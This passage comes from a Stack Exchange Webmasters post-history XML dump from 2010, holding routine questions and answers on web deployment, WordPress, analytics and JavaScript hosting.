  <row Id="3409" PostHistoryTypeId="2" PostId="1843" RevisionGUID="beef55fa-3723-492e-aa6a-ce77e7b594a4" CreationDate="2010-08-03T04:20:13.817" UserId="767" Text="This is a bit of a tangent - but please don't use firstname/lastname/initial. Not everyone's name falls into that neat grouping.&#xD;&#xA;&#xD;&#xA;Quoting myself over on StackOverflow:&#xD;&#xA;&#xD;&#xA;&gt; Many Asian cultures put the *family* name first, because the family is considered more important than the individual.&#xD;&#xA;&#xD;&#xA;&gt; Noting that there are a fair number of people who use a name that isn't the one bestowed by their parents, I've used the following scheme with some success:&#xD;&#xA;&#xD;&#xA;&gt; Full Name (as normally written for addressing mail); Family Name; Known As (the name commonly used in conversation).&#xD;&#xA;&#xD;&#xA;&gt; E.g.:&#xD;&#xA;&#xD;&#xA;&gt; Full Name: William Gates III; Family Name: Gates; Known As: Bill&#xD;&#xA;&#xD;&#xA;&gt; Full Name: Soong Li; Family Name: Soong; Known As: Lisa&#xD;&#xA;&#xD;&#xA;See http://stackoverflow.com/questions/259634/splitting-a-persons-name-into-forename-and-surname/259694#259694 for more." />
  <row Id="3410" PostHistoryTypeId="10" PostId="1833" RevisionGUID="70d7ded2-3d7f-43a8-afb6-a48fe634285f" CreationDate="2010-08-03T04:32:32.480" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;rchern&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3411" PostHistoryTypeId="5" PostId="1833" RevisionGUID="8d04b732-5365-47dd-8aaf-da471403e733" CreationDate="2010-08-03T04:32:32.587" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How should I structure my urls for both SEO and localization?](http://webmasters.stackexchange.com/questions/403/how-should-i-structure-my-urls-for-both-seo-and-localization)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to have my site available in several different languages. I've seen some sites that use [country code top level domains][1] (jp.blah.com), some include the language in the URL ( blah.com/jp/questions ), and some don't even include the language in the URL and just use the browsers locality setting or cookies to determine the language to be displayed. What are the pros and cons of each approach? Are there any techniques that I missed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Top-level_domain" />
  <row Id="3413" PostHistoryTypeId="10" PostId="1834" RevisionGUID="e4c626d7-1238-426c-b67b-7218c0a40d41" CreationDate="2010-08-03T04:35:18.653" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3414" PostHistoryTypeId="2" PostId="1844" RevisionGUID="4172804b-ce1b-4b6e-ab08-2510c02addac" CreationDate="2010-08-03T06:12:04.000" UserId="1162" Text="Honestly, I'd recommend creating one. (and when you do, release it as open source!) CushyCMS, if I understand correctly, requires they know your ftp details? Eek. Also, I'm not one for depending on an outside service like that. It's too risky: they could go under, and then all your clients are mad at you." />
  <row Id="3415" PostHistoryTypeId="2" PostId="1845" RevisionGUID="2434b7db-455f-4aef-b557-09d72f67f0e7" CreationDate="2010-08-03T07:24:48.650" UserId="197" Text="In IIS you can set up a second virtual directory with your updates. &#xD;&#xA;&#xD;&#xA;You then redirect all requests, or remap the bindings of the second site to your desired host name&#xD;&#xA;&#xD;&#xA;Http Redirection in IIS 7:&#xD;&#xA;http://technet.microsoft.com/en-us/library/cc732930(WS.10).aspx" />
  <row Id="3416" PostHistoryTypeId="2" PostId="1846" RevisionGUID="02f59c7a-7410-4959-b13c-baf65a131198" CreationDate="2010-08-03T07:51:42.173" UserId="180" Text="Are you on a Linux/BSD machine?  If so, you can easily use symbolic links to accomplish this goal.&#xD;&#xA;&#xD;&#xA;Create Version 1 of the site here:&#xD;&#xA;&#xD;&#xA;    /var/www/www.example.org.v1&#xD;&#xA;&#xD;&#xA;Create a symbolic link pointing to this directory&#xD;&#xA;&#xD;&#xA;    cd /var/www&#xD;&#xA;    ln -s www.example.com.v1 www.example.com&#xD;&#xA;&#xD;&#xA;This should give you a directory listing (`ls -la`) that looks something like this:&#xD;&#xA;&#xD;&#xA;    lrwxr-xr-x   1 userid  users    18 Aug  3 03:35 www.example.com -&gt; www.example.com.v1&#xD;&#xA;    drwxr-xr-x   2 userid  users   512 Aug  3 03:35 www.example.com.v1&#xD;&#xA;&#xD;&#xA;Set your web server to use `/var/www/www.example.com` as its document root.  You will never have to change this; all re-pointing will be done at the filesystem level.&#xD;&#xA;&#xD;&#xA;Now, when you want to swap in Version 2 of the site all you have to do is place the new version in:&#xD;&#xA;&#xD;&#xA;    /var/www/www.example.org.v2&#xD;&#xA;&#xD;&#xA;And update the symbolic link to point to this version:&#xD;&#xA;&#xD;&#xA;    ln -sfh www.example.com.v2 www.example.com&#xD;&#xA;&#xD;&#xA;Which will leave your directory output looking like this:&#xD;&#xA;&#xD;&#xA;    lrwxr-xr-x   1 userid  users    18 Aug  3 03:43 www.example.com -&gt; www.example.com.v2&#xD;&#xA;    drwxr-xr-x   2 userid  users   512 Aug  3 03:42 www.example.com.v1&#xD;&#xA;    drwxr-xr-x   2 userid  users   512 Aug  3 03:41 www.example.com.v2&#xD;&#xA;&#xD;&#xA;As you can see, the www.example.com symbolic link is now pointing to Version 2 of your site.  This is an atomic operation and should not cause any downtime related to files being unavailable.&#xD;&#xA;&#xD;&#xA;Of course, there is still considerable complexity required in ensuring that database structures are updated, any static resources are available (and linked to the correct version), etc, but at least this takes care of making sure that all of the right resources for the new site are instantly available.&#xD;&#xA;&#xD;&#xA;Windows Vista and Server 2008 also support symbolic links using the `mklink` command, though I don't have any direct experience with them.&#xD;&#xA;" />
  <row Id="3417" PostHistoryTypeId="2" PostId="1847" RevisionGUID="e9f2aace-a8a9-4392-b313-3adc032761a9" CreationDate="2010-08-03T08:40:01.527" UserId="1036" Text="I have an XML file on my server. In the same directory I have a PHP file which modifies the content of the XML and saves it. In this, the save part doesn't work. In my knowledge the code is alright and the problem is with the file access persmissions. &#xD;&#xA;&#xD;&#xA;More details available here: http://stackoverflow.com/questions/3351652/how-to-save-an-xml-file-on-the-web-server-using-php&#xD;&#xA;&#xD;&#xA;The permissions of the XML file is: rw-r--r-- (644)&#xD;&#xA;&#xD;&#xA;My question is, am I doing it right? How do I modify a file in the same directory?" />
  <row Id="3418" PostHistoryTypeId="1" PostId="1847" RevisionGUID="e9f2aace-a8a9-4392-b313-3adc032761a9" CreationDate="2010-08-03T08:40:01.527" UserId="1036" Text="How do I edit/modify a file on a webserver using php file in the same location?" />
  <row Id="3419" PostHistoryTypeId="3" PostId="1847" RevisionGUID="e9f2aace-a8a9-4392-b313-3adc032761a9" CreationDate="2010-08-03T08:40:01.527" UserId="1036" Text="&lt;domains&gt;&lt;server&gt;&lt;authentication&gt;" />
  <row Id="3420" PostHistoryTypeId="10" PostId="1847" RevisionGUID="83fefcd9-4a91-41ff-bff7-7307f200268c" CreationDate="2010-08-03T08:50:19.503" UserId="55" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3421" PostHistoryTypeId="2" PostId="1848" RevisionGUID="b6fce86e-59f3-48be-b89b-202cc10893a6" CreationDate="2010-08-03T10:16:37.817" UserId="168" Text="I've used a thing called [rsnapshot][1], which is a wrapper around rsync.  So far have only used it on LAN but am about to try over the internet.  Mainly linux support, but you may be able to do Windows with an rsyncd port.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rsnapshot.org/" />
  <row Id="3422" PostHistoryTypeId="2" PostId="1849" RevisionGUID="a0a81215-a218-4dc0-a971-a96923bcb372" CreationDate="2010-08-03T10:23:33.320" UserId="1111" Text="Maybe this[1] solution still works (The post is from 2008). If not, take a look at the Google Analytics Help sites. You can track almost everything. If the solution in the link fails, you maybe just have to set correct URL' and/or patterns. It's a while ago when i've done something similar. with DoubleClick (that was before google bought it.. ;-))&#xD;&#xA;&#xD;&#xA;[1] http://www.ppchero.com/the-secret-of-tracking-yahoo-keyword-data-in-google-analytics/" />
  <row Id="3423" PostHistoryTypeId="2" PostId="1850" RevisionGUID="d4228735-851b-43ec-9f4b-dabbd6ddded6" CreationDate="2010-08-03T11:04:42.990" UserId="845" Text="(*Until the [Wordpress site][1] gets up and running - please commit, people! - I'm figuring this is the most appropriate home for this question*) &#xD;&#xA;&#xD;&#xA;I've only ever used wordpress as a self-hosted blogging platform - until now. I have a requirement to use it for a very basic CMS which will consist of ~ 10 pages, most of which will be static content, updated periodically. I'm going to need to ability to upload documents, embed images, edit copy using the text editor - pretty much all of the standard features wordpress offers.&#xD;&#xA;&#xD;&#xA;However, I'm having difficulty surrounding the issue of editing specific sections within a page - in particular, just knowing where to begin. A 'normal' CMS would traditionally break a page into separate sections and allow me to edit any of those sections, either by directly editing the content, or by including shared content in that spot. I cannot find out how to do this using wordpress.&#xD;&#xA;&#xD;&#xA;Is it possible to 'stretch' the Page model so that a Page is actually just a chunk of content, it gets included by a specific page/template, and it's - somehow - protected from being viewed directly (removing it from navigation menus being a start).&#xD;&#xA;&#xD;&#xA;Any pointers on where to begin?&#xD;&#xA;&#xD;&#xA;  [1]: http://area51.stackexchange.com/proposals/1500/wordpress-answers" />
  <row Id="3424" PostHistoryTypeId="1" PostId="1850" RevisionGUID="d4228735-851b-43ec-9f4b-dabbd6ddded6" CreationDate="2010-08-03T11:04:42.990" UserId="845" Text="How do I represent 'chunks' of content within Wordpress?" />
  <row Id="3425" PostHistoryTypeId="3" PostId="1850" RevisionGUID="d4228735-851b-43ec-9f4b-dabbd6ddded6" CreationDate="2010-08-03T11:04:42.990" UserId="845" Text="&lt;wordpress&gt;&lt;cms&gt;" />
  <row Id="3426" PostHistoryTypeId="2" PostId="1851" RevisionGUID="05e42743-7bc5-43ab-a2ca-e720b70d416d" CreationDate="2010-08-03T11:09:30.730" UserId="845" Text="[Perch][1] is an excellent and simple CMS. I don't know CushyCMS, but - from what I can tell - the two are pretty similar.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grabaperch.com/" />
  <row Id="3427" PostHistoryTypeId="6" PostId="1813" RevisionGUID="262f1041-882c-4dc3-8081-ba5c02972421" CreationDate="2010-08-03T12:21:00.823" UserId="524" Comment="Adding the forms tag" Text="&lt;html&gt;&lt;usability&gt;&lt;user-input&gt;&lt;forms&gt;" />
  <row Id="3428" PostHistoryTypeId="2" PostId="1852" RevisionGUID="dd628e33-ba23-4531-be00-356e6a634399" CreationDate="2010-08-03T12:33:24.523" UserId="231" Text="If I understood correctly, you want to have different layouts for different pages. You can achieve this either by having a custom template for each page of the site or by having a single custom page, with various conditions.&lt;br /&gt;&#xD;&#xA;For the first option, see the WordPress Codex section regarding custom template pages: http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&#xD;&#xA;&#xD;&#xA;For the second one, see this tutorial: http://www.darrenhoyt.com/2007/12/26/multiple-wordpress-page-layouts-in-one-single-template/&#xD;&#xA;&#xD;&#xA;Then, you can move these &quot;chunks&quot; into different PHP files that you include in your specific pages." />
  <row Id="3429" PostHistoryTypeId="2" PostId="1853" RevisionGUID="bf05f2e1-2163-4f44-a2c9-c001a2b03b88" CreationDate="2010-08-03T12:49:32.767" UserId="524" Text="I would argue the checkout is the most important component of the ecommerce platform. If your users get confused, they WILL abandon their carts. There are two things to consider with a checkout.&#xD;&#xA;&#xD;&#xA;Steps  &#xD;&#xA;The checkout process should be at most 2-4 steps. I've seen carts that have as much as 10 steps to checkout... a death trap for any business. Each step should be obvious what is required of the customer and obvious where to go next. For a test on what is obvious, stand 6 feet away from your computer screen. What you can see 6 feet away, will be immediately obvious to most users. &#xD;&#xA;&#xD;&#xA;Required Information  &#xD;&#xA;This is a balance with Steps. If you have a one page checkout and loads of required fields it can be confusing. Ideally, you only need Name, Address, and Credit Card information, how a cart handles collecting this is vastly different from cart to cart. Also, can a customer go back and edit his information from other steps without losing all the entered data? That's big.&#xD;&#xA;&#xD;&#xA;It all goes back to the old mantra &quot;Don't Make Me Think&quot;. If you have to search for a link or what to next... your customers will have a tougher time than you.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="3430" PostHistoryTypeId="5" PostId="1850" RevisionGUID="90448940-7a4a-4a3f-96dd-b47cdcda4d42" CreationDate="2010-08-03T13:02:20.413" UserId="845" Comment="Added a clarification" Text="(*Until the [Wordpress site][1] gets up and running - please commit, people! - I'm figuring this is the most appropriate home for this question*) &#xD;&#xA;&#xD;&#xA;I've only ever used wordpress as a self-hosted blogging platform - until now. I have a requirement to use it for a very basic CMS which will consist of ~ 10 pages, most of which will be static content, updated periodically. I'm going to need to ability to upload documents, embed images, edit copy using the text editor - pretty much all of the standard features wordpress offers.&#xD;&#xA;&#xD;&#xA;However, I'm having difficulty surrounding the issue of editing specific sections within a page - in particular, just knowing where to begin. A 'normal' CMS would traditionally break a page into separate sections and allow me to edit any of those sections, either by directly editing the content, or by including shared content in that spot. I cannot find out how to do this using wordpress.&#xD;&#xA;&#xD;&#xA;Is it possible to 'stretch' the Page model so that a Page is actually just a chunk of content, it gets included by a specific page/template, and it's - somehow - protected from being viewed directly (removing it from navigation menus being a start).&#xD;&#xA;&#xD;&#xA;Any pointers on where to begin?&#xD;&#xA;&#xD;&#xA;  [1]: http://area51.stackexchange.com/proposals/1500/wordpress-answers&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;To clarify, imagine a standard wordpress blog post. Pretend it's a static piece of content. Suppose you wanted an editor to be able to change *just* the first paragraph of that blog post. Now,&#xD;&#xA;&#xD;&#xA;* should the static content on that page be in a Post, Page, Template, or something else?&#xD;&#xA;* should the editable content be a Page, ... or something else?" />
  <row Id="3431" PostHistoryTypeId="5" PostId="1850" RevisionGUID="29380b0a-4315-4474-9b35-63317fa0ff2b" CreationDate="2010-08-03T13:08:10.337" UserId="845" Comment="Added some example markup" Text="(*Until the [Wordpress site][1] gets up and running - please commit, people! - I'm figuring this is the most appropriate home for this question*) &#xD;&#xA;&#xD;&#xA;I've only ever used wordpress as a self-hosted blogging platform - until now. I have a requirement to use it for a very basic CMS which will consist of ~ 10 pages, most of which will be static content, updated periodically. I'm going to need to ability to upload documents, embed images, edit copy using the text editor - pretty much all of the standard features wordpress offers.&#xD;&#xA;&#xD;&#xA;However, I'm having difficulty surrounding the issue of editing specific sections within a page - in particular, just knowing where to begin. A 'normal' CMS would traditionally break a page into separate sections and allow me to edit any of those sections, either by directly editing the content, or by including shared content in that spot. I cannot find out how to do this using wordpress.&#xD;&#xA;&#xD;&#xA;Is it possible to 'stretch' the Page model so that a Page is actually just a chunk of content, it gets included by a specific page/template, and it's - somehow - protected from being viewed directly (removing it from navigation menus being a start).&#xD;&#xA;&#xD;&#xA;Any pointers on where to begin?&#xD;&#xA;&#xD;&#xA;  [1]: http://area51.stackexchange.com/proposals/1500/wordpress-answers&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;To clarify, imagine a standard wordpress blog post. Pretend it's a static piece of content. Suppose you wanted an editor to be able to change *just* the first paragraph of that blog post. Now,&#xD;&#xA;&#xD;&#xA;* should the static content on that page be in a Post, Page, Template, or something else?&#xD;&#xA;* should the editable content be a Page, ... or something else?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;p&gt;Example.com is a company specialising in examples, demonstrations,&#xD;&#xA;    and canonical stuff.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;If I want that paragraph to be editable, presumably I need something like:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;About us&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;&lt;?php insert_page('name-of-content-chunk'); ?&gt;&lt;/p&gt;&#xD;&#xA;" />
  <row Id="3432" PostHistoryTypeId="2" PostId="1854" RevisionGUID="9c6ca257-a61b-41e5-b7f1-9543d342db84" CreationDate="2010-08-03T13:15:12.147" UserId="845" Text="Another problem is that *everything* you serve from *any* page then really needs to go via SSL, including third-party resources. We've found this is a real problem with something like YouTube, for example. Since Google doesn't make YouTube videos available via SSL, it means that any YouTube video you *do* want to embed in a page on your site will cause the &quot;this page contains secure and non-secure content&quot; warning. Whilst this is subtle in most browsers, it's a huge dialog in IE and can cause some users to abandon your site pretty quickly, clutching their data to their chest in fear." />
  <row Id="3433" PostHistoryTypeId="2" PostId="1855" RevisionGUID="ccef57ea-67ad-4d4c-a095-63b7f66ea49d" CreationDate="2010-08-03T13:17:55.493" UserId="845" Text="It depends on what you mean by &quot;support&quot;. &quot;Work&quot;, yes - unless you don't mind turning potential customers away unnecessarily. &quot;Look exactly the same in IE6 as it does in every other browser&quot;, [no][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dowebsitesneedtolookexactlythesameineverybrowser.com/" />
  <row Id="3434" PostHistoryTypeId="2" PostId="1856" RevisionGUID="09308bc8-0764-4d47-a27c-8f00dfbd8abd" CreationDate="2010-08-03T13:24:00.237" UserId="845" Text="[Bulletproof Web Design][1] is completely and utterly fantastic. The first CSS book I bought since getting back into web design and still the best I've read.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://astore.amazon.com/simplebits-20/detail/0321509021" />
  <row Id="3435" PostHistoryTypeId="16" PostId="1856" RevisionGUID="09308bc8-0764-4d47-a27c-8f00dfbd8abd" CreationDate="2010-08-03T13:24:00.237" UserId="-1" />
  <row Id="3436" PostHistoryTypeId="2" PostId="1857" RevisionGUID="ce51071b-4bea-4712-81f4-55e0098c5117" CreationDate="2010-08-03T14:13:12.723" UserId="1198" Text="I just setup a Wordpress site as a small CMS for my son's scout pack.  I used siteground.com.  So far it is working great.  The siteground admin interface had a button to auto install Wordpress.  The process took about 5 seconds to complete...not the 15+ minutes that I have see with other hosts.&#xD;&#xA;&#xD;&#xA;Siteground pricing is good for basic hosting, but their SSL certificates are a bit more expensive than I expected, starting around $100.   I don't need SSL, but if you do make sure you factor in the price." />
  <row Id="3437" PostHistoryTypeId="16" PostId="1857" RevisionGUID="ce51071b-4bea-4712-81f4-55e0098c5117" CreationDate="2010-08-03T14:13:12.723" UserId="-1" />
  <row Id="3438" PostHistoryTypeId="2" PostId="1858" RevisionGUID="2c321b39-8bbb-49d2-90e2-adb9655b6bf0" CreationDate="2010-08-03T14:20:48.120" UserId="1198" Text="I have a Wordpress install setup as a simple CMS.  I am starting to use the NextGen Gallery plugin to support photo pages.  I expect to have a number of people uploading pictures, and not all of them are going to be technical enough to edit a page and insert the right tags to show new albums. &#xD;&#xA;&#xD;&#xA;I have spent some time looking in the obvious places (other than the php source code), but I haven't found a way to make a page that shows &lt;b&gt;all&lt;/b&gt; the albums that have been uploaded to the system.  I am sure this has to be an easy thing to do, so maybe I'm just not thinking the right way.  Any help is much appreciated.&#xD;&#xA;&#xD;&#xA;Clarification:  I know that I can use the gallery tag and put in all the IDs for gallerys in the system now, but I want the page to automatically update to show any new gallerys added to the system at a later date." />
  <row Id="3439" PostHistoryTypeId="1" PostId="1858" RevisionGUID="2c321b39-8bbb-49d2-90e2-adb9655b6bf0" CreationDate="2010-08-03T14:20:48.120" UserId="1198" Text="How to show all albums in Wordpress NextGen Gallery " />
  <row Id="3440" PostHistoryTypeId="3" PostId="1858" RevisionGUID="2c321b39-8bbb-49d2-90e2-adb9655b6bf0" CreationDate="2010-08-03T14:20:48.120" UserId="1198" Text="&lt;wordpress&gt;&lt;cms&gt;" />
  <row Id="3441" PostHistoryTypeId="2" PostId="1859" RevisionGUID="1c598faa-b118-4c64-894b-5f92cd0d38f7" CreationDate="2010-08-03T14:34:32.423" UserId="542" Text="I have a friend who is looking for SharePoint hosting (free is nice) for a not-for-profit orgranization.&#xD;&#xA;&#xD;&#xA;She is considering http://myhosting.com and http://sharepointhosting.com.&#xD;&#xA;&#xD;&#xA;I know very little about SharePoint, so I'm looking for advice on what features to look for in a host.&#xD;&#xA;&#xD;&#xA;Also, comments on the two being considered are welcome, as well as recommendations for any others.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="3442" PostHistoryTypeId="1" PostId="1859" RevisionGUID="1c598faa-b118-4c64-894b-5f92cd0d38f7" CreationDate="2010-08-03T14:34:32.423" UserId="542" Text="What features to look for in a SharePoint host" />
  <row Id="3443" PostHistoryTypeId="3" PostId="1859" RevisionGUID="1c598faa-b118-4c64-894b-5f92cd0d38f7" CreationDate="2010-08-03T14:34:32.423" UserId="542" Text="&lt;web-hosting&gt;" />
  <row Id="3444" PostHistoryTypeId="2" PostId="1860" RevisionGUID="a46f1816-5349-4422-8261-c98f8891be30" CreationDate="2010-08-03T16:05:21.367" UserId="1126" Text="I was under the impression that for the best performance, Javascript should be treated as static content and served from a cookieless domain along with CSS files, images, etc. &#xD;&#xA;&#xD;&#xA;But Google says here: [Don't serve early loaded external JS files from the cookieless domain][1] &#xD;&#xA;&#xD;&#xA;&gt; For JavaScript referenced in the head&#xD;&#xA;&gt; of the document and needed for page&#xD;&#xA;&gt; startup, it should be served from the&#xD;&#xA;&gt; same hostname as the main document.&#xD;&#xA;&gt; Because most browsers block other&#xD;&#xA;&gt; downloads and rendering until all&#xD;&#xA;&gt; JavaScript files have been downloaded,&#xD;&#xA;&gt; parsed and executed, it's better to&#xD;&#xA;&gt; avoid the risk of an additional DNS&#xD;&#xA;&gt; lookup at this point of processing.&#xD;&#xA;&#xD;&#xA;So now I am conflicted.  I am not clear on what &quot;needed for page startup&quot; means.&#xD;&#xA;&#xD;&#xA;I typically have two JavaScript references, JQuery served from ajax.googleapis.com and a master.js file that mostly contains event handlers in the $(document).ready() function.  Is this needed for page startup?&#xD;&#xA;&#xD;&#xA;Given the options available, (ajax.googleapis.com, static cookieless domain, original hostname) where should my JavaScript be served?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/docs/request.html#ServeFromCookielessDomain" />
  <row Id="3445" PostHistoryTypeId="1" PostId="1860" RevisionGUID="a46f1816-5349-4422-8261-c98f8891be30" CreationDate="2010-08-03T16:05:21.367" UserId="1126" Text="Should JavaScript referenced in the head section be served from the same hostname as the main document?" />
  <row Id="3446" PostHistoryTypeId="3" PostId="1860" RevisionGUID="a46f1816-5349-4422-8261-c98f8891be30" CreationDate="2010-08-03T16:05:21.367" UserId="1126" Text="&lt;javascript&gt;&lt;speed&gt;&lt;static-content&gt;&lt;page-speed&gt;" />
  <row Id="3447" PostHistoryTypeId="2" PostId="1861" RevisionGUID="323e09d8-00a7-4808-b8a0-6ea08aa0ac24" CreationDate="2010-08-03T16:35:40.223" UserId="1074" Text="Google runs a huge content network distributed all over the world that puts the content closer to the user than any single server that you're likely running (think Akami, but owned by Google)  So, from a speed standpoint, it stands to reason that Google is going to get your file to the user faster than your local server...unless they are in very close proximity to your personal server.&#xD;&#xA;&#xD;&#xA;This question has gone around and around over at Stackoverflow, and the above answer seems to be always the consensus.  But from a realistic standpoint, the gains made by hosting at one vs the other is going to be fairly minimal in the long run.  You'll get far better benefits from minifying, optimizing, and reducing overall http requests than you will scrutinizing where things are physically located.  In situations where it starts to matter (I did a job where a page was loading 1.5+ million times /day, so a 5k improvement meant 5 gigs in bandwidth savings) there's usually a team of decision makers who are tasked with scrutinizing these decisions.&#xD;&#xA;&#xD;&#xA;Personally, I usually host at Google for the sole reason that they're going to give me the most up-to-date copy of what I'm looking for.  " />
  <row Id="3448" PostHistoryTypeId="2" PostId="1862" RevisionGUID="496eab67-5ec1-4020-84bb-d2aa7dd422a9" CreationDate="2010-08-03T17:03:29.040" UserId="19" Text="We run a manage a website system for a large retail franchise. Each franchisee has their own templated website. We currently use [SmarterStats][1] to provide website analytics to our franchisees. SmarterStats is nice in that it allows us to manage the login information for our franchisees. If they update their login info from another part of our website system, we can synchronize that to SmarterStats.&#xD;&#xA;&#xD;&#xA;However, SmarterStats is bringing our web server to it's knees performance wise and so we're looking for alternatives.&#xD;&#xA;&#xD;&#xA;We can't use Google Analytics because it would be too much to ask all of our franchisees to create a Google login.  Does anyone have any good suggestions that would meet these requirements?&#xD;&#xA;&#xD;&#xA; 1. Tracking is accomplished via javascript&#xD;&#xA; 2. Allows us to manage login information for hundreds of users either via API or batch update.&#xD;&#xA;&#xD;&#xA;I much appreciate any help you can offer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smartertools.com/smarterstats/web-analytics-seo-software.aspx" />
  <row Id="3449" PostHistoryTypeId="1" PostId="1862" RevisionGUID="496eab67-5ec1-4020-84bb-d2aa7dd422a9" CreationDate="2010-08-03T17:03:29.040" UserId="19" Text="Javascript based analytics tool with multiple user account management options?" />
  <row Id="3450" PostHistoryTypeId="3" PostId="1862" RevisionGUID="496eab67-5ec1-4020-84bb-d2aa7dd422a9" CreationDate="2010-08-03T17:03:29.040" UserId="19" Text="&lt;analytics&gt;&lt;users&gt;" />
  <row Id="3451" PostHistoryTypeId="2" PostId="1863" RevisionGUID="06382fc9-bb9c-417d-ab01-bf38479f60e8" CreationDate="2010-08-03T17:11:28.620" UserId="1205" Text="I have looked at [Piwik][1]? The tracking is accomplished via JavaScript and although I haven't tried it, it is supposed to support adding users via an API.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://piwik.org/" />
  <row Id="3452" PostHistoryTypeId="2" PostId="1864" RevisionGUID="870b6597-fccf-4a73-9b18-ec67c15f749b" CreationDate="2010-08-03T17:35:08.933" UserId="948" Text="&gt; So now I am conflicted. I am not clear&#xD;&#xA;&gt; on what &quot;needed for page startup&quot;&#xD;&#xA;&gt; means.&#xD;&#xA;&#xD;&#xA;This very much depends on how your site functions.  Basically, it is the JavaScript that needs to run before someone can make use of the web page.&#xD;&#xA;&#xD;&#xA;As an example, if you go to http://www.weather.com/, you can see that the fine folks decided to use some JavaScript magic to provide a hint for the weather search form.  I.e. the words `Enter Zip, City or Place (e.g. Disney World)` appear in the text input field.  Unfortunately, there's a slight delay when the page is loading, at least on my end.  So, if the page is slow enough to load and you're fast enough to start typing in the text input before the JavaScript executes -- which is *not* a stretch -- your input can be screwed up by the JavaScript that blindly places that hint text in the input box.&#xD;&#xA;&#xD;&#xA;Granted, this could be avoided by checking for user input in the text box first or simply giving up on this anachronistic technique.  However, then it wouldn't serve as a very good example." />
  <row Id="3453" PostHistoryTypeId="5" PostId="1864" RevisionGUID="6da94458-b7a1-403b-93aa-01f7fb8a3317" CreationDate="2010-08-03T17:42:55.900" UserId="948" Comment="added 529 characters in body; added 10 characters in body; deleted 2 characters in body" Text="&gt; So now I am conflicted. I am not clear&#xD;&#xA;&gt; on what &quot;needed for page startup&quot;&#xD;&#xA;&gt; means.&#xD;&#xA;&#xD;&#xA;This very much depends on how your site functions.  Basically, it is the JavaScript that needs to run before someone can make use of the web page.&#xD;&#xA;&#xD;&#xA;As an example, if you go to http://www.weather.com/, you can see that the fine folks decided to use some JavaScript magic to provide a hint for the weather search form.  I.e. the words `Enter Zip, City or Place (e.g. Disney World)` appear in the text input field.  Unfortunately, there's a slight delay when the page is loading, at least on my end.  So, if the page is slow enough to load and you're fast enough to start typing in the text input before the JavaScript executes -- which is *not* a stretch -- your input can be screwed up by the JavaScript that blindly places that hint text in the input box.&#xD;&#xA;&#xD;&#xA;Granted, this could be avoided by checking for user input in the text box first or simply giving up on this anachronistic technique.  However, then it wouldn't serve as a very good example.&#xD;&#xA;&#xD;&#xA;&gt; Given the options available,&#xD;&#xA;&gt; (ajax.googleapis.com, static&#xD;&#xA;&gt; cookieless domain, original hostname)&#xD;&#xA;&gt; where should my JavaScript be served?&#xD;&#xA;&#xD;&#xA;This can't really be answered without knowing what your JavaScript does.  Also, as bpeterson76 alludes, it depends on your site's specific situation.  I.e. how large is the page?  how well is your host meeting demand?  how many CSS files, images, etc does it load?  how many external resources is it loading?&#xD;&#xA;&#xD;&#xA;Depending on your specific situation, this may be premature optimization." />
  <row Id="3454" PostHistoryTypeId="2" PostId="1865" RevisionGUID="8673a38b-faa6-41c6-85f4-2eb86a6351d0" CreationDate="2010-08-03T18:04:20.537" UserId="1204" Text="The &quot;anything required before the page will start rendering should be from the same server&quot; rule generally applies to *your* servers or other smaller resources - situations where that DNS lookup may taken a noticeable fraction of a second (which can add up quickly if your objects are strewn around many domains). With common public resources like Google's cache of jQuery and other libraries there is a good chance that your visitor's browser has already done that DNS lookup today (because other sites are referencing the content from that service) and probably has the file in cache too so no transfer needs to be done (or if a request is made it may just get back a short &quot;304 - not modified&quot; response). Even if a full download is needed for the object, Google's content delivery network will be faster for most users than your smaller scale operation.&#xD;&#xA;&#xD;&#xA;One related rule: objects that are not required for the correct function of the page (as the user sees it) should be referred to as late as possible in the main HTTP response. For instance things like the scripts required for advert/stats services (i.e. Google Analytics and its ilk) - give the user your content as quickly as possible, then load the background stuff that only really interests you. I've blocked a couple of ads/stats services (by mapping them to 127.0.0.1 in my hosts file) because they are often too slow and sites that refer to them early just give me a blank page while the scripts are waited for instead of referring to them late so I can read the content I am there for while the other stuff trundles along in the background.&#xD;&#xA;&#xD;&#xA;The usefulness of a cookie-less domain for static content is a matter of scale. If all you have is one 10-byte session ID in the cookies and ten thousand visitors per day requesting ~20 static objects per visit you are only saving ~118Mbyte bandwidth per month (20*20*10000*31/1024/1024). If on the other hand your site keeps one or two Kbytes worth of stuff in 